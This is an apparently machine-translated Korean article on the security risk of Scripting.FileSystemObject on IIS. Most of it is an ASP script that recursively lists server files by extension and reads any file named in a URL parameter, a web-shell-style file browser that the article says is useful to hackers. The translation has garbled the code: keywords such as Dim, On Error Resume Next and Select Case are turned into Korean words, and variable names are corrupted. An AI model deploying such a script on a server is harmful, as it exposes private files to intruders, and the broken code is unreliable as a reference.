scripting.filesystemobject 객체는 vbscript/jscript 컨트롤을 위해 scrun.dll에서 제공하는 많은 com 객체 중 하나입니다. scripting.filesystemobject는 텍스트 파일 및 파일 디렉토리에 대한 매우 편리한 액세스를 제공하지만 IIS 웹 서버의 데이터 보안에 특정 위협을 제기합니다.
파일 파인더 코드는 3 개의 함수와 30 줄의 순차적 코드로 구성된 매우 간단합니다.
가장 중요한 것은 FindFiles 함수로, 특정 디렉토리를 재귀 적으로 호출하여 특정 디렉토리의 트래버스를 구현하고 특정 파일 확장에 따라 이러한 파일을 검색합니다.
기능 findfiles (strstartfolder, strext)
희미한 n
Dim Ohisfolder
희미한 폴더
희미한
희미한 ofolder
희미한
'시스템 관리자가 파일 시스템의 권한을 신중하게 설정하면 다음 코드가 오류가 발생합니다.
'하지만 일부 디렉토리는 여전히 볼 수 있으므로 오류를 무시합니다.
다음에 오류가 재개됩니다
n = 0
Response.write <b> 검색 및 strstartfolder & </b> <br>
set thatisfolder = g_fs.getfolder (strstartfolder)
세트 세트 = allisfolder.files
Ofiles의 각각에 대해
'지정된 파일 확장자 인 경우 연결 안내서 자체를 출력하지만 다른 명령 CMD를 사용하십시오.
'여기에 cmd = 읽기, 즉 지정된 물리적 경로가있는 텍스트 파일을 읽으십시오.
ISSUFFIX (ofile.Path, Strext)라면
response.write <a target = _blank href = 'ff.asp? cmd = read = & path = & server.htmlencode (ofile.path) &'> <font color = 'dodgerblue'> & ofile.path & </a> <br>
err = 0이면
n = n + 1
끝 If
끝 If
다음
ofolders = audthisfolder.subfolders
나이가 많은 사람들에 대해
n = n + findfiles (ofolder.path, strext)
다음
findfiles = n
엔드 기능
다음 코드는 URL 이후 매개 변수를 분석합니다.
'각 매개 변수의 값을 읽으십시오
strcmd = ucase (request.querystring (cmd))
stratp = request.querystring (경로)
strext = request.querystring (ext)
brawdata = ucase (request.querystring (raw))
'.asp 파일에 대한 기본 검색
strpath =이면
strath =.
끝 If
strext =이면
strext = .asp
끝 If
'다른 명령 CMD에 따라 다른 코드를 실행하십시오
Case Strcmd를 선택하십시오
케이스 찾기
Response.windfiles (strath, strext) 및 파일을 찾았습니다
사례 읽기
Brawdata = t라면 그렇다면
response.write readTextFile (strath)
또 다른
response.write <fre> & server.htmlencode (readTextFile (strath)) & </pre>
끝 If
다른 경우
response.write <h3> execute </h3>의 명령을 지정하십시오
종료 선택
위의 분석에서 충분한 권한이있는 경우 파일 파인더를 사용하여 IIS 웹 서버에서 텍스트 파일을 찾을 수 있으며 파일 내용을 쉽게 볼 수 있음을 알 수 있습니다. 텍스트가 아닌 파일의 경우, 존재하는 위치와 위치를 결정할 수 있으며, 이는 때때로 고급 해커에게 매우 중요합니다.